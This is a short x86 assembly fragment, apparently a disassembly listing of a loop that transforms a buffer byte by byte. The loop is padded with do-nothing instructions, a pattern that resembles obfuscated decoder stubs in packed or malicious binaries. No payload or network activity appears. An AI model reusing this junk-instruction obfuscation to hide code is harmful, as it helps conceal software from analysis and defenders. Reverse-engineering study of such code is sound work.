mov esi, eax
xor ebx, eax
sub byte [edi], 0x88
mov ebx, eax
mov eax, eax
xor eax, esi
mov eax, eax
mov esi, ebx
xor eax, esi
mov eax, eax
mov esi, ebx
xor eax, eax
imul byte [edi]
inc edi
loop 0x403106
pop edi
pop esi
pop ebx
pop ebp
ret